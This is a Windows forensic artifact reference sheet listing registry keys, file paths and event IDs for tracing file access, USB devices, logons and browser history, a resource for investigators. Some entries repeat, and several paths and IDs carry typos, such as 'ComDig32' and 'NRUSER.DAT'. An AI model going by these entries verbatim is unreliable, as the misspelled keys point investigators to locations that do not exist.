Last-Visited MRU – Tracks the specific executable used by an application to open the files documented in the OpenSaveMRU key. In addition, each value also tracks the directory location for the last file that was accessed by that application (i.e. – Notepad.exe was last run using the C:\User\Rob\Desktop folder
Location:
XP –
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\LastVisitedMRU
Win7/8/10 –
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\LastVisitedPid1MRU
Tracks the application executables used to open files in OpenSaveMRU and the last file path used

Recent Files – Registry key that will track the last files and folders opened and is used to populate data in "Recent" menus of the Start menu
Location – NTUSER.DAT –

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
RecentDocs – overall key will track the overall order of the last 150 files or folders opened. MRU list will keep track of the temporal order in which each file/folder was opened. The last entry and modification time of this key will be the time and location the last file of a specific extension was opened.
.??? – This subkey stores the last files with a specific extension that were opened. MRU list will keep track of the temporal order in which each file was opened. The last entry and modification time of this key will be the time and location of the last file of a specific extension was opened.
Folder – This subkey stores the last folders that were opened. MRU list will keep track of the temporal order in which each folder was opened. The last entry and modification time of this key will be the time and location of the last folder opened.

Office Recent Files – MS Office programs will track their own Recent Files list to make it easier for users to remember the last file they were editing.
Location – NTUSER.DAT\Software\Microsoft\Office\VERSION – 14.0=Office 2010; 12.0=Office 2007; 11.0 = Office 2003; 10.0 = Office XP
NTUSER.DAT\Software\Microsoft\Office\VERSION\UserMRU\LiveID_####\FileMRU – 15.0=Office365
Similar to the Recent Files, this will track the last files that were opened by each MS Office application. The last entry added, per the MRU will be the time the last file was opened by a specific MS Office application.

Shell Bags – Which folders were accessed on the local machine, the network, and/or removable devices. Evidence of previously existing folders after deletion/overwrite. When certain folders were accessed.
Location Explorer Access:
USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags
USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
Location Desktop Access:
NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU
NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags
Stores information about which folders were most recently browsed by the user.

Shortcut (LNK) Files – Shortcut Files automatically created by Windows – Recent Items – Opening local and remote data files and documents will generate a shortcut file (.lnk)
Location:
XP – C:\%USERPROFILE%\Recent
Win7/8/10 – C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\
C:\%USERPROFILE%\AppData\Roaming\Microsoft\OfficeRecent\
Note these are the primary locations of LNK files. They can also be found elsewhere
Date/Time file of that name was first opened –CreationDate of Shortcut (LNK) file
Date/Time file of that name was last opened – Last Modification Date of Shortcut (LNK) File
LNK Target File (Internal LNK File Information) Data: -Modification, Access, and Creation times of the target file –Volume Information (Name, Type, Serial Number) – Network Share Information –Original Location –Name of System

Jump Lists – The Windows 7 task bar (Jump List) is engineered to allow users to “jump” or access items have frequently or recently used quickly and easily. This functionality cannot only include recent media files; it must also include recent tasks. The data stored in the AutomaticDestinations folder will each have a unique file prepended with the AppID of the association application and embedded with LNK files in each stream.
Location Win7/8/10 –
C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations
Using the Structured Storage Viewer; open up one of the AUtomaticDestination jumplist files
Each one of these files is a separate LNK file. They are also stored numerically in order from the earliest one (usually 1) to the most recent (largest integer value)

Prefetch – Increases performance of a system by pre-loading code pages of commonly used applications. Cache Manager monitors all files and directories referenced for each application or process and maps them into a .pf file. Utilized to know an application was executed on a system. Limited to 128 files on XP and Win7. Limited to 1024 files on Win8. (exename)-(hash).pf
Locations WinXP/7/8/10 – C:\Windows\Prefetch
Can examine each .pf file to look for file handles recently used
Can examine each .pf file to look for device handles recently used

Index.dat file:// - A little known fact about the IE History is that the information stored in the history files is not just related to Internet browsing. The history also records, local, removable, and remote (via network shares) file access giving us an excellent means for determining which files and applications were accessed on the system, day by day.
Location:
IE6-7 - %USERPROFILE%\Local Settings\History\History.IE5
IE8-9 - %USERPROFILE%\AppData\Local\Microsoft\Windows\History\History.IE5
IE10-11 - %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat
Stored in index.dat as file:///C:/directory/filename.ext
Does not mean file was opened in browser

Deleted File or File Knowledge

XP Search – ACMRU – You can search for a wide range of information through the search assistant on a Windows XP machine. The search assistant will remember a user's search terms for filenames, computers, or words that are inside a file. This is an example of where you can find the "Search History" on the Windows system.
Location NTUSER.DAT HIVE – NTUSER.DAT\Software\Microsoft\SearchAssistant\ACMru\####
Search the Internet - ####=5001
All or part of a document name - ####-5603
A word or phrase in a file - ####-5604
Printers, Computers, and People - ###-5647

Search – WordWheelQuery – Keywords search for from the START menu bar on a Windows 7 machine
Locations – Win7/8/10 NRUSER.DAT Hive –
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery
Keywords are added in Unicode and listed in temporal order in an MRU list.

Last-Visited MRU – Tracks the specific executable used by an application to open the files documented in the OpenSaveMRU key. In addition each value also tracks the directory location for the last file that was accessed by that application.
Location:
XP –
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\LastVisitedMRU
Win 7/8/10-
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\LastVisitedPid1MRU
Tracks the application executables used to open files in OpenSaveMRU and the last file path used

Thumbs.db – Hidden file in directory where pictures on Windows XP machine exist. Catalogs all the pictures and stores a copy of them thumbnail even if the pictures were deleted.
Location – Each directory where pictures resided that were viewed in thumbnail mode. Many cameras also will autogenerate thumbs .db file when you view the pictures on the camera itself
Thumbnail picture of original, last modification time, original filename

Thumbscache – On Vista/Win7 versions of of Win, thumbs.db does not exist. The data now sit under a directory for each user of the machine located in their application data directory under their home directory.
Location – C:\%USERPROFILE%\AppData\Local\Microsoft\Windows\Explorer
These are created when a user switches a folder to thumbnail mode or views pictures via a slide show. As it were, our thumbs are now stored in separate db files.
Vista/Win7 has 4 sizes for thumbnails and the files in the cache folder reflect this – 32 -> small; 96 -> medium; 256 -> large; 1024 -> extra large
The thumbscache will store the thumbnail copy of the picture based on the thumbnail size in the content of the equivalent database file

XP Recycle Bin – The recycle bin is a very important location on a Windows file system to understand. It can help you when accomplishing a forensic investiragion, as every file that is deleted from a Windows recycle bin aware program is generally first put in the recycle bin.
Location Hidden System Folder
Windows XP – C:\RECYCLER* 2000/NT/XP/2003
Subfolder is created with user's SID

Hidden file in directory called “INFO2”
INFO2 Contains Deleted Time and Original Filename
Filename in both ASCII and UNICODE
SID can be mapped to user via Registry Analysis
Maps file name to the actual name and path it was deleted from

Win 7/8/10 Recycle Bin – The recycle bin is a very important location on a Windows file system to understand. It can help you when accomplishing a forensic investigation, as every file that is deleted form a Windows recycle bin aware program is generally first put in the recycle bin.
Location Hidden System Folder
Win 7/8/10 – C:\$Recycle.bin
Deleted Time and Original Filename contained in separate files for each deleted recovery file
SID can be mapped to user via Registry Analysis
Win7/8/10 Files Preceded by $I###### files contain
Original PATH and name
Deletion Date/Time – Files Preceded by $R###### files contain
Recovery Data

Index.dat file:// - A little known fact about the IE History is that the information stored in the history file is not just related to Internet browsing. The history also records local and remote (via network share) file access, giving us an excellent means for determining which files and applications were accessed on the system, day by day.
Location:
IE6-7: %USERPROFILE%\LocalSettings\History\History.IE5
IE8-9: %USERPROFILE%\AppData\Local\Microsoft\WindowsHistory\History.IE5
IE10-11: %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat
Stored in index.dat at file:///C:/directory/filename.ext
Does not mean file was opened in browser

Physical Location

Timezone – Identifies the current system time zone
Location SYSTEM Hive – SYSTEM\CurrentControlSet\Control\TimeZoneInformation
Time activity is incredibly useful for correlation of activity
Internal log files and date/timestamps will be based on the system time zone information
You might have other network devices and you will need to correlate information to the time zone information collected here.

Network History – Identify networks that the computer has been connected to. Networks could be wireless or wired. Identify domain name/intranet name. Identify SSID. Identify Gateway MAC Address.
Location Win7/8/10 Software Hive:
SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged
SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed
SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache
Identifying intranets and networks that a computer has connected to is incredibly important. Not only can you determine the intranet name, you can determine the last time the network was connected to based on the last write time of the key. This will also list any networks that have been connected to via a CPN. MAC Address of SSID for Gateway could be physically triangulated

Cookies – Cookies give insight into what websites have been visited and what activiteies may have taken place there.
Locations:
IE6-8: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies
IE10: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies
IE11: %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCookies
Firefox-XP: %USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\<random text>.default\cookies.sqlite
Firefox-Win7/8/10:
%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\cookies.sqlite
Chrome-XP: %USERPROFILE%\Local Settings\ApplicationData\Google\Chrome\User Data\Default\Local Storage
Chrome Win7/8/10- %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Local Storage
Browser Search Terms – Records websites visited by date and time. Details stored for each local user account. Recordds number of times visited (frequency). Also tracks access

of local system files. This will also include the website history of search terms in search engines.
Locations:
IE6-7: %USERPROFILE%\Local Settings\History\History.IE5
IE8-9: %USERPROFILE%\AppData\Local\Microsoft\Windows\History\History.IE5
IE10-11: %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat
Firefox-XP: %userprofile%\Application Data\Mozilla\Firefox\Profiles\<randomtext>default\places.sqlite
Win7/8/10:
%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\places.sqlite

External Device/USB Usage

Key Identification – Track USB devices plugged into a machine
Location:
SYSTEM\CurrentControlSet\Enum\USBSTOR
SYSTEM\CurrentControlSet\Enum\USB
Identify the vendor, product, and version of a USB device plugged into a machine. Identify a unique USB device plugged into the machine. Determine the time a device was plugged into the machine. Devices that do not have a unique serial number will have an "&" in the second character of the serial number.

First/Last Times – Determine temporal usage of specific USB devices connected to a Windows Machine.
Location First Time:
XP – C:\Windows\setupapi.log
Win7/8/10 – C:\Windows\inf\setupapi.dev.log
Search for Device Serial Number & Log File times are set to local time zone.
Location First, Last and Removal Times (Win 7/8/10 Only):
System Hive - \CurrentControlSet\Enum\USBSTOR\Ven_Prod_Version\USB iSerial - #\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\####
0064 = First Install (Win7/8); 0066 = Last Connected (Win 8 Only); 0067 = Last Removal (Win 8 Only)

User – Find User that used the Unique USB Device.
Location: Look for GUID from SYSTEM\MountedDevices
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2
This GUID will be used next to identify the user that plugged in the device. The last write time of this key also corresponds to the last time the device was plugged into the machine by that user. The number will be referenced in the user's personal mountpoints key in the NTUSER.DAT Hive.

Volume Serial Number – Discover the Volume Serial Number of the Filesystem Partition on the USB (NOTE: This is not the USB Unique Serial Number, that is hardcoded into the device firmware).
Location: SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ENDMgmt
Use Volume Name and USB Unique Serial Number to find; last integer number in line; convert decimal serial number into hex serial number
Knowing both the Volume Seial Number and the Volume Name you can correlate the data across SHORTCUT file (LNK) analysis and the RECENTDOCs key. The Shortcut File (LNK) contains the Volume Serial Number and Name. RecentDocs Registry Key in most cases will contain the volume name when the USB device is opened via Explorer

Drive Letter & Volume Name – Discover the last drive letter of the USB Device when it was plugged into the machine
XP – Find ParentIdPrefix – SYSTEM\CurrentControlSet\Enum\USBSTOR. Using ParentIdPrefix Discover Last Mount Point – SYSTEM\MountedDevices
Win7/8/10 – SOFTWARE\Microsoft\Windows Portable Devices\Devices
SYSTEM\MountedDevices
Examine Drive Letter's looking at Value Data Looking for Serial Number
Identify the USB device that was last mapped to a specific drive letter. This technique will only work for the last drive mapped. It does not contain historical records of every drive letter mapped to a removable drive.

Shortcut (LNK) Files – shortcut files automatically created by Windows – recent items & open local and remote data files and documents will generate a shortcut file (.lnk)
Location:
XP – %USERPROFILE%\Recent

Win7/8/10 - %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent
%USERPROFILE%\AppData\Roaming\Microsoft\Office\Recent
Date/Time file of that name was first opened – Creation Date of Shortcut (LNK) File
Date/Time file of that name was last opened – Last Modification Date of Shortcut (LNK) File
LNK Target File (Internal LNK File Information) Data: Modified, Access, and Creation times of the target file
Volume Information (Name, Type Serial Number) – Network Share Info, Original Location, Name of System

PnP Events – When a Plug and Play driver is installed the service will log and ID 20001 event and provide a status within the event. It is important to note that this event will trigger for any Plug and Play capable device, including but not limited to USB, Firewire, and PCMCIA devices.
Location (System Log File):
Win 7/8/10- %system root%\System32\winevt\logs\System.evtx
Event ID 20001 – Plug and Play driver install attempted; Timestamp, Device information, Device serial number, status (0 = no errors)

Account Usage

Last Login – Lists the local accounts of the system and their equivalent security identifiers.
Location:
C:\windows\systems32\config\SAM
SAM\Domains\Account\Users
Only the last login time will be stores in the registry key

Last Password Change – Lists the last time the password of a specific user has been changed.
Location:
C:\windows\system32\config\SAM
SAM\Domains\Account\Users
Only the last password change time will be stored in the registry key

Success/Fail Logons – Determine which accounts have been used for attempted logons. Track account usage for known compromised accounts.
Locations:
XP - %system root%\System32\config\SecEvent.evt
Win 7/8/10 - %system root%\System32\winevt\logs\Security.evtx
Event ID 528/4624 – Successful Logon; 529/4625 – Failed Logon; 538/4634 – Successful Logoff; 540/4624 – Successful Network Logon (i.e. file shares)

Logon Types – Logon Events can give us very specific information regarding the nature of the account authorizations on a system if we know where to look and how to decipher the data that we find. In addition to telling us the date, time, username, hastname, and success/failure status of a logn, Logon Events also enables us to determine by exactly what means a logon was attempted.
XP Event ID 528
Win 7/8/10 – Event ID 4624
Logon Type – 2-Logon via console; 3 – Network Logon; 4 – Batch Logon; 5 – Windows Service Logon; 7 – Credentials used to unlock screen; 8 – Network logon sending credentials (clear text); 9 – Different credentials used than logged on user; 10 – Remote interactive logon (RDP); 11 – Cached credentials used to logon; 12 – Cached remote interactive (similar to Type 10); 13 – Cached unlock (similar to Type 7)

RDP Usage – Track Remote Desktop Protocol logons to target machines
Location (Security Log):
XP - %SYSTEM ROOT%\System32\config\SecEvent.evt
Win7/8/10 - %SYSTEM ROOT%\System32\winevt\logs\Security.evtx
Event ID 682/4778 – Session Connected/Reconnected
Event ID 683/4779 – Session Disconnected
Event log provides hostname and IP address of remote machine making the connection. On workstations you will often see current console session disconnected (683) followed by RDP connection (682).

Services Events – Analyze logs for suspicious services running at boot time & review services started or stopped around the time of a suspected compromise.

Event ID 7034 – Service crashed unexpectedly; 7035 – Service sent a Start/Stop control; 7036 – Service started or stopped; 7040 – Start type changed (Boot | On Request | Disabled)
A large amount of malware and worms in the wild utilize Services; Services started on boot illustrate persistence (desirable in malware); Services can crash due to attacks like process injection

Browser Usage

History – Records websites visited by date and time. Details stored for each local user account. Records number of times visited (frequency). Also tracks access of local system files.
Locations:
IE6-7: %USERPROFILE%\Local Settings\History\History.IE5
IE8-9: %USERPROFILE%\AppData\Local\Microsoft\Windows\History\History.IE5
IE10-11: %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat
Firefox-XP: %USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\<random text>.default\places.sqlite
Firefox-Win7/8/10 - %USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\<random text>.default\places.sqlite
Chrome-XP - %USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\History
Chrome-Win7/8/10 - %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\History

Cookies – Cookies give insight into what websites have been visited and what activities may have taken place there.
Locations:
IE8-10: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies
IE11: %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCookies
Firefox-XP - %USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\<random text>.default\cookies.sqlite
Firefox-Win7/8/10 - %USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\cookies.sqlite
Chrome-XP - %USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\Local Storage\
Chrome-Win7/8/10 - %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Local Storage

Cache – The cache is where web page components can be stored locally to speed up subsequent visits. Gives the investigator a "snapshot in time" of what a user was looking at online – Identifies which websites which were visited – Provides the actual files the user viewed on a given website – Cached files are tied to a specific local user account – Timestamps show when the site was first saved and last viewed
Location:
IE8-10: %USERPROFILE%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5
IE11: %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache\IE
Firefox-XP: %USERPROFILE%\Local Settings\ApplicationData\Mozilla\Firefox\Profiles\<randomtext>.default\Cache
Firefox-Win7/8/10 - %USERPROFILE%\AppData\Local\Mozilla\Firefox\Profiles\<randomtext>.default\Cache
Chrome-XP - %USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\Cache – data_# and f_######
Chrome-Win7/8/10 - %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Cache\ - data_# and f_######

Session Restore – Automatic Crash Recovery features built into the browser.
Location:
IE-Win7/8/10 - %USERPROFILE%\AppData\Local\Microsoft\Internet Explorer\Recovery
Firefox-Win7/8/10 - %USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\sessionstore.js
Chrome-Win7/8/10 - %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default
Files = Current Session, Current Tabs, Last Session, Last Tabs
Historical websites viewed in each tab, referring websites, time session ended, modified time of .dat files in LastActive folder, time each tab opened (only when crash occurred), creation time of .dat files in Active folder

Flash & Super Cookies – Local Stored Objects (LSOs), or Flash Cookies, have become ubiquitous on most systems due to the extremely high penetration of Flash applications across the Internet. They tend to be much more persistent because they do not expire, and there is no built in mechanism within the browser to remove them. In fact, many sites have begun using LSOs for their tracking mechanisms because they rarely get cleared like traditional cookies.

Location Win7/8/10 - %APPDATA%\Romaing\Macromedia\FlashPlayer\#SharedObjects\<randomprofileid>

Websites visited, user account used to visit the site, when cookie was created and last accessed

Google Analytics Cookies – Google Analytics (GA) has developed an extremely sophisticated methodology for tracking site visits, user activity, and paid search. Since GA is largely free, it has a commanding share of the market estimated at over 80% of sites using traffic analysis and over 50% of all sites.

_utma – Unique visitors – domain hash, visitor id, cookie creation time, time of 2nd most recent visit, number of visits

_utmb – Session tracking – domain hash, page views in current session, outbound link clicks, time current session started

_utmz – Traffic sources – domain hash, last update time, number of visits, number of different types of visits, source used to access site, Google Adwords campaign name, Access Method (organic, referall , cpc, email, direct), Key word used to find site (non-SSL only)